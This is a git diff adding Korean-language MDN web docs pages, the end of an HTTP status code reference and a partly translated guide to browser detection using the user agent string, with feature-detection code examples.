+ <dd>이 응답 코드는 클라이언트에서 복수의 스트림을 분할 다운로드를 하고자 범위 헤더를 전송했기 때문에 사용됩니다.</dd>
+ <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>멀티-상태 응답은 여러 리소스가 여러 상태 코드인 상황이 적절한 경우에 해당되는 정보를 전달합니다.</dd>
+ <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>DAV에서 사용됩니다: propstat(property와 status의 합성어) 응답 속성으로 동일 컬렉션으로 바인드된 복수의 내부 멤버를 반복적으로 열거하는 것을 피하기 위해 사용됩니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt>
+ <dd>서버가 GET 요청에 대한 리소스의 의무를 다 했고, 그리고 응답이 하나 또는 그 이상의 인스턴스 조작이 현재 인스턴스에 적용이 되었음을 알려줍니다.</dd>
+</dl>
+
+<p><br>
+  </p>
+
+<h2 id="리다이렉션_메시지">리다이렉션 메시지</h2>
+
+<dl>
+ <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt>
+ <dd>요청에 대해서 하나 이상의 응답이 가능합니다. 사용자 에이전트 또는 사용자는 그중에 하나를 반드시 선택해야 합니다. 응답 중 하나를 선택하는 방법에 대한 표준화 된 방법은 존재하지 않습니다.</dd>
+ <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt>
+ <dd>이 응답 코드는 요청한 리소스의 URI가 변경되었음을 의미합니다. 새로운 URI가 응답에서 아마도 주어질 수 있습니다.</dd>
+ <dt>{{HTTPStatus(302, "302 Found")}}</dt>
+ <dd>이 응답 코드는 요청한 리소스의 URI가 일시적으로 변경되었음을 의미합니다. 새롭게 변경된 URI는 나중에 만들어질 수 있습니다. 그러므로, 클라이언트는 향후의 요청도 반드시 동일한 URI로 해야합니다.</dd>
+ <dt>{{HTTPStatus(303, "303 See Other")}}</dt>
+ <dd>클라이언트가 요청한 리소스를 다른 URI에서 GET 요청을 통해 얻어야 할 때, 서버가 클라이언트로 직접 보내는 응답입니다.</dd>
+ <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt>
+ <dd>이것은 캐시를 목적으로 사용됩니다. 이것은 클라이언트에게 응답이 수정되지 않았음을 알려주며, 그러므로 클라이언트는 계속해서 응답의 캐시된 버전을 사용할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt>
+ <dd>이전 버전의 HTTP 기술 사양에서 정의되었으며, 요청한 응답은 반드시 프록시를 통해서 접속해야 하는 것을 알려줍니다. 이것은 프록시의 in-band 설정에 대한 보안상의 걱정으로 인하여 사라져가고 있습니다.</dd>
+ <dt><code>306 unused</code></dt>
+ <dd>이 응답 코드는 더이상 사용되지 않으며, 현재는 추후 사용을 위해 예약되어 있습니다. 이것은 HTTP 1.1 기술사양 이전 버전에서 사용되었습니다.</dd>
+ <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt>
+ <dd>클라리언트가 요청한 리소스가 다른 URI에 있으며, 이전 요청과 동일한 메소드를 사용하여 요청해야할 때, 서버가 클라이언트에 이 응답을 직접 보냅니다. 이것은 <code>302 Found</code> HTTP 응답 코드와 동일한 의미를 가지고 있으며, 사용자 에이전트가 반드시 사용된 HTTP 메소드를 변경하지 말아야 하는 점만 다릅니다: 만약 첫 요청에 <code>POST</code>가 사용되었다면, 두번째 요청도 반드시 <code>POST</code>를 사용해야 합니다.</dd>
+ <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt>
+ <dd>이것은 리소스가 이제 HTTP 응답 헤더의 <code>Location:</code> 에 명시된 영구히 다른 URI에 위치하고 있음을 의미합니다. 이것은 <code>301 Moved Permanently</code> HTTP 응답 코드와 동일한  의미를 가지고 있으며, 사용자 에이전트가 반드시 HTTP 메소드를 변경하지 말아야 하는 점만 다릅니다: 만약 첫 요청에 <code>POST</code>가 사용되었다면, 두번째 요청도 반드시 <code>POST</code>를 사용해야 합니다.<br>
+  </dd>
+</dl>
+
+<h2 id="클라이언트_에러_응답">클라이언트 에러 응답</h2>
+
+<dl>
+ <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt>
+ <dd>이 응답은 잘못된 문법으로 인하여 서버가 요청을 이해할 수 없음을 의미합니다.</dd>
+ <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt>
+ <dd>비록 HTTP 표준에서는 "미승인(unauthorized)"를 명확히 하고 있지만, 의미상 이 응답은 "비인증(unauthenticated)"을 의미합니다. 클라이언트는 요청한 응답을 받기 위해서는 반드시 스스로를 인증해야 합니다.</dd>
+ <dt><code>402 Payment Required</code></dt>
+ <dd>이 응답 코드는 나중에 사용될 것을 대비해 예약되었습니다. 첫 목표로는 디지털 결제 시스템에 사용하기 위하여 만들어졌지만 지금 사용되고 있지는 않습니다.</dd>
+ <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt>
+ <dd>클라이언트는 콘텐츠에 접근할 권리를 가지고 있지 않습니다. 예를들어 그들은 미승인이어서 서버는 거절을 위한 적절한 응답을 보냅니다. 401과 다른 점은 서버가 클라이언트가 누구인지 알고 있습니다.</dd>
+ <dt>{{HTTPStatus(404, "404 Not Found")}}</dt>
+ <dd>서버는 요청받은 리소스를 찾을 수 없습니다. 브라우저에서는 알려지지 않은 URL을 의미합니다. 이것은 API에서 종점은 적절하지만 리소스 자체는 존재하지 않음을 의미할 수도 있습니다. 서버들은 인증받지 않은 클라이언트로부터 리소스를 숨기기 위하여 이 응답을 403 대신에 전송할 수도 있습니다. 이 응답 코드는 웹에서 반복적으로 발생하기 때문에 가장 유명할지도 모릅니다.</dd>
+ <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt>
+ <dd>요청한 메소드는 서버에서 알고 있지만, 제거되었고 사용할 수 없습니다. 예를 들어, 어떤 API에서 리소스를 삭제하는 것을 금지할 수 있습니다. 필수적인 메소드인 <code>GET</code>과 <code>HEAD</code>는 제거될 수 없으며 이 에러 코드를 리턴할 수 없습니다.</dd>
+ <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt>
+ <dd>이 응답은 서버가 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Content_negotiation#%EC%84%9C%EB%B2%84_%EC%A3%BC%EB%8F%84_%EC%BB%A8%ED%85%90%EC%B8%A0_%ED%98%91%EC%83%81">서버 주도 콘텐츠 협상</a> 을 수행한 이후, 사용자 에이전트에서 정해준 규격에 따른 어떠한 콘텐츠도 찾지 않았을 때, 웹서버가 보냅니다.</dd>
+ <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt>
+ <dd>이것은 401과 비슷하지만 프록시에 의해 완료된 인증이 필요합니다.</dd>
+ <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt>
+ <dd>이 응답은 요청을 한지 시간이 오래된 연결에 일부 서버가 전송하며, 어떨 때에는 이전에 클라이언트로부터 어떠한 요청이 없었다고 하더라도 보내지기도 합니다. 이것은 서버가 사용되지 않는 연결을 끊고 싶어한다는 것을 의미합니다. 이 응답은 특정 몇몇 브라우저에서 빈번하게 보이는데, Chrome, Firefox 27+, 또는 IE9와 같은 웹서핑 속도를 올리기 위해 HTTP 사전 연결 메카니즘을 사용하는 브라우저들이 해당됩니다. 또한 일부 서버는 이 메시지를 보내지 않고 연결을 끊어버리기도 합니다.</dd>
+ <dt>{{HTTPStatus(409, "409 Conflict")}}</dt>
+ <dd>이 응답은 요청이 현재 서버의 상태와 충돌될 때 보냅니다.</dd>
+ <dt>{{HTTPStatus(410, "410 Gone")}}</dt>
+ <dd>이 응답은 요청한 콘텐츠가 서버에서 영구적으로 삭제되었으며, 전달해 줄 수 있는 주소 역시 존재하지 않을 때 보냅니다. 클라이언트가 그들의 캐쉬와 리소스에 대한 링크를 지우기를 기대합니다. HTTP 기술 사양은 이 상태 코드가 "일시적인, 홍보용 서비스"에 사용되기를 기대합니다. API는 알려진 리소스가 이 상태 코드와 함께 삭제되었다고 강요해서는 안된다.</dd>
+ <dt>{{HTTPStatus(411, "411 Length Required")}}</dt>
+ <dd>서버에서 필요로 하는 <code>Content-Length</code> 헤더 필드가 정의되지 않은 요청이 들어왔기 때문에 서버가 요청을 거절합니다.</dd>
+ <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt>
+ <dd>클라이언트의 헤더에 있는 전제조건은 서버의 전제조건에 적절하지 않습니다.</dd>
+ <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt>
+ <dd>요청 엔티티는 서버에서 정의한 한계보다 큽니다; 서버는 연결을 끊거나 혹은 <code>Retry-After</code> 헤더 필드로 돌려보낼 것이다.</dd>
+ <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt>
+ <dd>클라이언트가 요청한 URI는 서버에서 처리하지 않기로 한 길이보다 깁니다.</dd>
+ <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt>
+ <dd>요청한 미디어 포맷은 서버에서 지원하지 않습니다, 서버는 해당 요청을 거절할 것입니다.</dd>
+ <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt>
+ <dd><code>Range</code> 헤더 필드에 요청한 지정 범위를 만족시킬 수 없습니다; 범위가 타겟 URI 데이터의 크기를 벗어났을 가능성이 있습니다.</dd>
+ <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt>
+ <dd>이 응답 코드는 <code>Expect</code> 요청 헤더 필드로 요청한 예상이 서버에서는 적당하지 않음을 알려줍니다.</dd>
+ <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt>
+ <dd>서버는 커피를 찻 주전자에 끓이는 것을 거절합니다.</dd>
+ <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt>
+ <dd>서버로 유도된 요청은 응답을 생성할 수 없습니다. 이것은 서버에서 요청 URI와 연결된 스킴과 권한을 구성하여 응답을 생성할 수 없을 때 보내집니다.</dd>
+ <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>요청은 잘 만들어졌지만, 문법 오류로 인하여 따를 수 없습니다.</dd>
+ <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>리소스는 접근하는 것이 잠겨있습니다.</dd>
+ <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>이전 요청이 실패하였기 때문에 지금의 요청도 실패하였습니다.</dd>
+ <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt>
+ <dd>서버는 지금의 프로토콜을 사용하여 요청을 처리하는 것을 거절하였지만, 클라이언트가 다른 프로토콜로 업그레이드를 하면 처리를 할지도 모릅니다. 서버는 {{HTTPHeader("Upgrade")}} 헤더와 필요로 하는 프로토콜을 알려주기 위해 426 응답에 보냅니다.</dd>
+ <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt>
+ <dd>오리진 서버는 요청이 조건적이어야 합니다. 클라이언트가 리소스를 GET해서, 수정하고, 그리고 PUT으로 서버에 돌려놓는 동안 서드파티가 서버의 상태를 수정하여 발생하는 충돌인 '업데이트 상실'을 예방하기 위한 목적입니다.</dd>
+ <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt>
+ <dd>사용자가 지정된 시간에 너무 많은 요청을 보냈습니다("rate limiting").</dd>
+ <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt>
+ <dd>요청한 헤더 필드가 너무 크기 때문에 서버는 요청을 처리하지 않을 것입니다. 요청은 크기를 줄인 다음에 다시 전송해야 합니다.</dd>
+ <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt>
+ <dd>사용자가 요청한 것은 정부에 의해 검열된 웹 페이지와 같은 불법적인 리소스입니다.</dd>
+</dl>
+
+<h2 id="서버_에러_응답">서버 에러 응답</h2>
+
+<dl>
+ <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt>
+ <dd>서버가 처리 방법을 모르는 상황이 발생했습니다. 서버는 아직 처리 방법을 알 수 없습니다.</dd>
+ <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt>
+ <dd>요청 방법은 서버에서 지원되지 않으므로 처리할 수 없습니다. 서버가 지원해야 하는 유일한 방법은 <code>GET</code>와 <code>HEAD</code>이다. 이 코드는 반환하면 안됩니다.</dd>
+ <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt>
+ <dd>이 오류 응답은 서버가 요청을 처리하는 데 필요한 응답을 얻기 위해 게이트웨이로 작업하는 동안 잘못된 응답을 수신했음을 의미합니다.</dd>
+ <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt>
+ <dd>서버가 요청을 처리할 준비가 되지 않았습니다. 일반적인 원인은 유지보수를 위해 작동이 중단되거나 과부하가 걸렸을 때 입니다. 이 응답과 함께 문제를 설명하는 사용자 친화적인 페이지가 전송되어야 한다는 점에 유의하십시오. 이 응답은 임시 조건에 사용되어야 하며, <code>Retry-After:</code> HTTP 헤더는 가능하면 서비스를 복구하기 전 예상 시간을 포함해야 합니다. 웹마스터는 또한 이러한 일시적인 조건 응답을 캐시하지 않아야 하므로 이 응답과 함께 전송되는 캐싱 관련 헤더에 대해서도 주의해야 합니다.</dd>
+ <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt>
+ <dd>이 오류 응답은 서버가 게이트웨이 역할을 하고 있으며 적시에 응답을 받을 수 없을 때 주어집니다.</dd>
+ <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt>
+ <dd>요청에 사용된 HTTP 버전은 서버에서 지원되지 않습니다.</dd>
+ <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt>
+ <dd>서버에 내부 구성 오류가 있다. 즉, 요청을 위한 투명한 컨텐츠 협상이 순환 참조로 이어진다.</dd>
+ <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt>
+ <dd>서버에 내부 구성 오류가 있다. 즉, 선택한 가변 리소스는 투명한 콘텐츠 협상에 참여하도록 구성되므로 협상 프로세스의 적절한 종료 지점이 아닙니다.</dd>
+ <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>서버가 요청을 처리하는 동안 무한 루프를 감지했습니다.</dd>
+ <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt>
+ <dd>서버가 요청을 이행하려면 요청에 대한 추가 확장이 필요합니다.</dd>
+ <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt>
+ <dd>511 상태 코드는 클라이언트가 네트워크 액세스를 얻기 위해 인증을 받아야 할 필요가 있음을 나타냅니다.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.status")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="https://ko.wikipedia.org/wiki/HTTP_%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C">위키백과에서 상태코드 목록</a></li>
+ <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">상태코드의 최상위 도메인 등록 단체 공식 등록</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html b/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html
new file mode 100644
index 0000000000..8ffc0ff0b5
--- /dev/null
+++ b/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html
@@ -0,0 +1,296 @@
+---
+title: 사용자 에이전트를 이용한 브라우저 감지
+slug: Web/HTTP/User_agent를_이용한_브라우저_감지
+tags:
+ - Compatibility
+ - HTTP
+ - Web Development
+translation_of: Web/HTTP/Browser_detection_using_the_user_agent
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>보통 브라우저마다 다른 웹 페이지 또는 서비스를 제공하는 것은 나쁜 생각입니다. 웹은 사용자가 어떤 브라우저나 디바이스를 사용하고 있는지 개의치 않고 모두에게 접근성이 용이해야 하기 때문입니다. 따라서 특정 브라우저를 타겟으로 개발하는 것보다 가용적인 기능들 (예를 들어 Web API 등)을 이용하여 당신의 웹 사이트를 개선하는 것을 추천합니다.</p>
+
+<p>하지만 브라우저와 웹 표준은 완벽하지 않고 그 간극은 여전히 브라우저 감지 기능을 필요로 합니다. <a href="/ko/docs/Web/HTTP/Headers/User-Agent">User-Agent</a>를 사용하여 브라우저를 감지하는 것은 간단해 보이지만, 사실 그것을 잘 이용하는 것은 무척 힘든 일입니다. 이 문서는 사용자 에이전트를 이용하여 브라우저를 바르게 감지하도록 안내합니다.</p>
+
+<div class="note">
+<p>주의하세요! user agent 정보를 가로채는 것은 좋은 아이디어가 아닙니다. 대부분의 경우 호환성이 뛰어난 좋은 다른 해결방안을 찾을 수 있을 것입니다.</p>
+</div>
+
+<h2 id="브라우저_감지를_하기_전_고려할_것">브라우저 감지를 하기 전 고려할 것</h2>
+
+<p>사용자 에이전트 문자열을 이용해 브라우저를 감지하기 전에 가능하다면 이것을 사용하지 않는 것이 첫 번째입니다. 내가 <strong>왜</strong> 이 기능을 원하는지 다시 한 번 스스로 확인하길 바랍니다.</p>
+
+<dl>
+ <dt>특정 브라우저 버전의 버그를 고치려고 하나요?</dt>
+ <dd>포럼에서 찾아보십시오. 만약 이 버그를 당신이 처음 발견했다면 포럼에 질문을 하십시오. 또한 전문가나 다른 견해를 가진 이들이 이 버그를 해결하는데 도움을 줄 것입니다. 만약 버그가 좀처럼 없는 문제라면 브라우저 제공자의 버그 추적 시스템(<a href="https://bugzilla.mozilla.org/">Mozilla</a>, <a href="http://bugs.webkit.org/">WebKit</a>, <a href="https://www.chromium.org/issue-tracking">Blink</a>, <a href="https://bugs.opera.com/">Opera</a>)에 보고된 버그인지 확인하세요.</dd>
+ <dt>특정 기능의 존재를 확인하려고 하나요?</dt>
+ <dd>당신의 사이트에 몇몇 브라우저에서 아직 지원하지 않은 기능을 사용해야 하고, 해당 유저들을 이전 버전의 웹사이트로 보내고 싶어 하지만 당신은 후에 해당 브라우저에서 해당 기능이 동작할 것이라는걸 압니다. 이것이 사용자 에이전트 탐지를 사용하는 가장 나쁜 이유인데, 결국 다른 브라우저들이 그 문제를 따라잡을 것이기 때문입니다. 이러한 시나리오에서 당신은 가능한 유저 에이전트 탐지를 <strong>절대</strong> 피해야 하고, 대신 언제나 기능탐지를 하는데 최선을 다해야 합니다. 대신 <strong>언제든지</strong> 기능 탐지를 할 수 있는 대체방안이 존재합니다</dd>
+ <dt>사용하는 브라우저에 따라 다른 HTML을 제공해야 하나요?</dt>
+ <dd>이는 권해드리고 싶지 않지만, 필요에 따른 몇가지 방법이 있습니다. 이러한 상황들일 경우, 우선 브라우저에 따른 다양한 HTML을 사용해야 하는지 결정하기 위해 당신의 상황을 분석할 필요가 있습니다. 당신은 non-semantic인  {{ HTMLElement("div") }} 나 {{ HTMLElement("span") }}  요소를 추가함으로써 이를 방지할 수 있나요? user Agent 감지를 성공적으로 하는 것의 어려움은 몇몇 혼란스러운 HTML을 깨끗하게 바꾸는데 가치가 있습니다. 또한 당신의 디자인에 대해 다시한번 생각해보세요. 브라우저별로 다른 HTML을 사용할 필요성을 없애기 위해 점진적 향상(<a href="https://developer.mozilla.org/ko/docs/Glossary/Progressive_Enhancement">progressive enhancement</a>)이나 가변 레이아웃(fluid layout)을 사용할 수 있나요?</dd>
+</dl>
+
+<h2 id="사용자_에이전트를_대신할_방법">사용자 에이전트를 대신할 방법</h2>
+
+<p>user agent 감지를 피하는 몇 가지 방법이 있습니다!</p>
+
+<dl>
+ <dt>기능 탐지</dt>
+ <dd>기능 탐지는 어떤 브라우저가 당신의 페이지를 렌더링하는지를 알아내려고 할 때가 아니라, 어떤 특정한 기능을 당신이 사용가능한지를 확인할 때 사용합니다. 그렇지 않다면, 대비책을 사용하세요. 브라우저 간의 차이점을 찾는 몇 안되는 경우에서는 user agent 문자열을 사용하는 대신, 브라우저가 API를 구현하는 방법을 탐지하고 API를 사용하는 방법을 결정하는 테스트를 구현하는 것이 좋습니다. 아래는 기능탐지의 좋은 최신 예시 입니다. 최근 크롬은<a href="https://www.chromestatus.com/feature/5668726032564224"> experimental lookbehind support to regular expressions</a>을 추가했지만, 다른 브라우저들은 이를 지원하지 않습니다. 그러므로 당신은 이와 같이 해야 한다고 잘못 생각하고 있을 것입니다.</dd>
+ <dd>
+ <pre class="notranslate">// 아래 코드 조각은 한 문자열을 특별한 표기법으로 쪼갭니다.
+
+if (navigator.userAgent.indexOf("Chrome") !== -1){
+ // 네! 이 사용자가 정규표현식의 look-behind 기능을 사용하려는 것
+  // 같습니다.
+ // /(?&lt;=[A-Z])/를 사용하지 마십시오. 정규표현식의
+ // look-behind 기능을 지원하지 않는 브라우저에서는 문법오류가
+  // 발생할 것입니다. 왜냐하면, 모든 브라우저들은 실제로 실행되지
+ // 않는 부분을 포함한 전체 스크립트를 해석하기 때문입니다.
+ var camelCaseExpression = new RegExp("(?&lt;=[A-Z])");
+ var splitUpString = function(str) {
+ return (""+str).split(camelCaseExpression);
+ };
+} else {
+ /*아래 fallback 코드는 성능이 떨어지지만 작동하긴 합니다.*/
+ var splitUpString = function(str){
+ return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
+ };
+}
+console.log(splitUpString("fooBare")); // ["fooB", "are"]
+console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]</pre>
+
+ <p>위의 코드는 다음과 같은 몇 가지 잘못된 가정을 했습니다.</p>
+
+ <ul>
+ <li>하위 문자열 "Chrome"을 포함하는 모든 사용자 에이전트 문자열은 크롬이라고 가정했습니다. UA 문자열은 틀릴 가능성이 매우 높습니다.</li>
+ <li>정규표현식의 look-behind 기능이 크롬 브라우저에서는 항상 지원될 것이라고 가정했습니다. 하지만 agent가 해당 기능이 지원되기 전인 옛 버전의 크롬일 수도 있고, 당시에는 look-behind는 실험적 기능이었기 때문에, 이를 제거한 버전의 크롬일 수도 있습니다.</li>
+ <li>가장 중요한 점은, 다른 모든 브라우저들이 look-behind를 지원할 것이라고 가정했습니다. 다른 브라우저들도 look-behind 기능을 지원하는 버전이 모두 다를텐데, 이 코드는 이를 무시하고 코드를 진행합니다.</li>
+ </ul>
+
+ <p>look-behind 지원여부 자체를 테스트함으로써 이 문제들을 회피할 수 있습니다.</p>
+
+ <pre class="notranslate">var isLookBehindSupported = false;
+
+try {
+  new RegExp("(?&lt;=)");
+ isLookBehindSupported = true;
+} catch (err) {
+ // agent가 look-behind 기능을 지원하지 않는다면, 위 문법을 사용한
+ // RegExp 객체의 생성이 에러를 던질 것이고, isLookBehindSupported는
+ // 여전히 false일 것입니다.
+}
+
+var splitUpString = isLookBehindSupported ? function(str) {
+ return (""+str).split(new RegExp("(?&lt;=[A-Z])"));
+} : function(str) {
+ return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
+};
+</pre>
+
+ <p>위의 코드가 시범을 보였듯이, user agent를 살펴보지 않고도 어떤 기능에 대한 브라우저 지원 여부를 시험할 수 있는 방법이 <strong>항상</strong> 존재합니다. 기능 지원 여부를 확인하기 위해 user agent 문자열을 확인할 필요가 <strong>전혀</strong> 없습니다.</p>
+
+ <p>마지막으로, 위의 코드 조각은 크로스 브라우저 코딩과 관련하여 항상 염두에 두어야만 하는 중요한 이슈를 시사합니다.테스트 중인 API를 해당 기능이 지원되지 않는 브라우저에서 실수로 사용하지 마십시오. 확실하고 단순한 이야기 같지만, 때때로 그렇지 않습니다. 예를 들어, 위의 코드 조각에서, lookbehind 기능을 short-regexp 표기법(예를 들어, /reg/igm)으로 사용한다면, 지원되지 않는 브라우저에서는 파싱 에러가 발생할 것입니다. 따라서, 위의 예제에서, <em>/(?&lt;=look_behind_stuff)/</em> 대신에 <em>new RegExp("(?&lt;=look_behind_stuff)")</em>를 사용하는 것이 좋습니다. 심지어 lookbehind가 지원되는 조건분기의 코드에서도 말입니다.</p>
+ </dd>
+ <dt>점진적 향상</dt>
+ <dd>이 디자인 테크닉은 여러분의 사이트를 상향식 접근방법으로 "레이어" 형태 개발할 수 있게 해줍니다. 간단한 레이어로 시작하여, 각각이 더 많은 기능을 이용하는 연속적인 레이어를 가진 사이트로 성능을 개선할 수 있습니다.</dd>
+ <dt>부드러운 하향</dt>
+ <dd>이는 여러분이 원하는 모든 기능이 포함된 최선의 사이트를 만들고 나서 오래된 브라우저들도 지원하게 수정하는 하향식 접근입니다. 점진적 상향 방식보다는 조금 더 어렵기도 하고 덜 효과적이기도 하지만, 몇몇 케이스에서는 유용할 것입니다.</dd>
+ <dt>모바일 장치 감지</dt>
+ <dd>Arguably the most common use and misuse of user agent sniffing is to detect if the device is a mobile device. However, what is failed to be accountable is what they're really after. People use user agent sniffing to detect if the users' device is touch-friendly and has a small screen so they can optimize their website accordingly. While user agent sniffing can sometimes detect these, not all devices are the same. Some mobile devices have big screen sizes, some desktops have a small touchscreen, some people use smart TV's which are an entirely different ballgame altogether, some people can dynamically change the width and height of their screen by flipping their tablet on its side! So, user agent sniffing is definitely not the way to go. But, there are much better alternatives. Use <em>Navigator.maxTouchPoints</em> to detect if the user's device has a touchscreen. Then, default back to checking the user agent screen only <em>if (!("maxTouchPoints" in Navigator)) { /*Code here*/}</em>. Using this information of whether the device has a touchscreen, do not change the entire layout of the website just for touch devices: you will only create more work and maintenance for yourself. Rather, add in touch conveniences such as bigger, more easily clickable buttons (you can do this using CSS by simply increasing the font size). As for the screen size, simply use <em>window.innerWidth</em> and <em>window.addEventListener("resize", function(){ /*refresh screen size dependent things*/ })</em>. What you want to do for screen size is not slash off information on smaller screens. That will only annoy people because it will force them to use the desktop version. Rather, try to have fewer columns of information in a longer page on smaller screens while having more columns with a shorter page on larger screen sizes. This effect can be easily achieved using CSS flexboxes. Next, always make your code dynamic. The user can flip their mobile device on its side, changing the width and height of the page. Never be satisfied with your webpage until you can open up the dev tools side panel and resize the screen while the webpage looks smooth, fluid, and dynamically resized.</dd>
+</dl>
+
+<h2 id="Which_part_of_the_user_agent_contains_the_information_you_are_looking_for">Which part of the user agent contains the information you are looking for</h2>
+
+<p>As there is no uniformity of the different part of the user agent string, this is the tricky part.</p>
+
+<h3 id="브라우저_이름">브라우저 이름</h3>
+
+<p>사람들이 "브라우저 감시(browser detection)"을 원한다고 말할 때, 실제로 대부분 그들은 "렌더링 엔진 탐지(rendering engine detection)"를 원합니다. Do you actually want to detect Firefox, as opposed to SeaMonkey, or Chrome as opposed to Chromium? Or do you actually simply want to see if the browser is using the Gecko or the WebKit rendering engine? If this is what you need, see further down the page.</p>
+
+<p>Most browser set the name and version in the format <em>BrowserName/VersionNumber</em>, with the notable exception of Internet Explorer. But as the name is not the only information in a user agent string that is in that format, you can not discover the name of the browser, you can only check if the name you are looking for. But note that some browsers are lying: Chrome for example reports both as Chrome and Safari. So to detect Safari you have to check for the Safari string and the absence of the Chrome string, Chromium often reports itself as Chrome too or Seamonkey sometimes reports itself as Firefox.</p>
+
+<p>Also pay attention not to use a simple regular expression on the BrowserName, user agents also contain strings outside the Keyword/Value syntax. Safari &amp; Chrome contain the string 'like Gecko', for instance.</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col"></th>
+ <th scope="col">반드시 포함</th>
+ <th scope="col">반드시 포함하지 않음</th>
+ <th scope="col"></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Firefox</td>
+ <td>Firefox/xyz</td>
+ <td>Seamonkey/xyz</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Seamonkey</td>
+ <td>Seamonkey/xyz</td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Chrome</td>
+ <td>Chrome/xyz</td>
+ <td>Chromium/xyz</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Chromium</td>
+ <td>Chromium/xyz</td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>Safari/xyz</td>
+ <td>Chrome/xyz or Chromium/xyz</td>
+ <td>Safari gives two version number, one technical in the Safari/xyz token, one user-friendly in a Version/xyz token</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>
+ <p>OPR/xyz <sup>[1]</sup></p>
+
+ <p>Opera/xyz <sup>[2]</sup></p>
+ </td>
+ <td></td>
+ <td>
+ <p><sup>[1]</sup>  Opera 15+ (Blink-based engine) </p>
+
+ <p><sup>[2]</sup> Opera 12- (Presto-based engine)</p>
+ </td>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>; MSIE xyz;</td>
+ <td></td>
+ <td>Internet Explorer doesn't put its name in the <em>BrowserName/VersionNumber</em> format</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Of course, there is absolutely no guarantee that another browser will not hijack some of these things (like Chrome hijacked the Safari string in the past). That's why browser detection using the user agent string is unreliable and should be done only with the check of version number (hijacking of past versions is less likely).</p>
+
+<h3 id="브라우저_버전">브라우저 버전</h3>
+
+<p>The browser version is often, but not always, put in the value part of the <em>BrowserName/VersionNumber</em> token in the User Agent String. This is of course not the case for Internet Explorer (which puts the version number right after the MSIE token), and for Opera after version 10, which has added a Version/<em>VersionNumber</em> token.</p>
+
+<p>Here again, be sure to take the right token for the browser you are looking for, as there is no guarantee that others will contain a valid number.</p>
+
+<h3 id="렌더링_엔진">렌더링 엔진</h3>
+
+<p>As seen earlier, in most cases, looking for the rendering engine is a better way to go. This will help to not exclude lesser known browsers. Browsers sharing a common rendering engine will display a page in the same way: it is often a fair assumption that what will work in one will work in the other.</p>
+
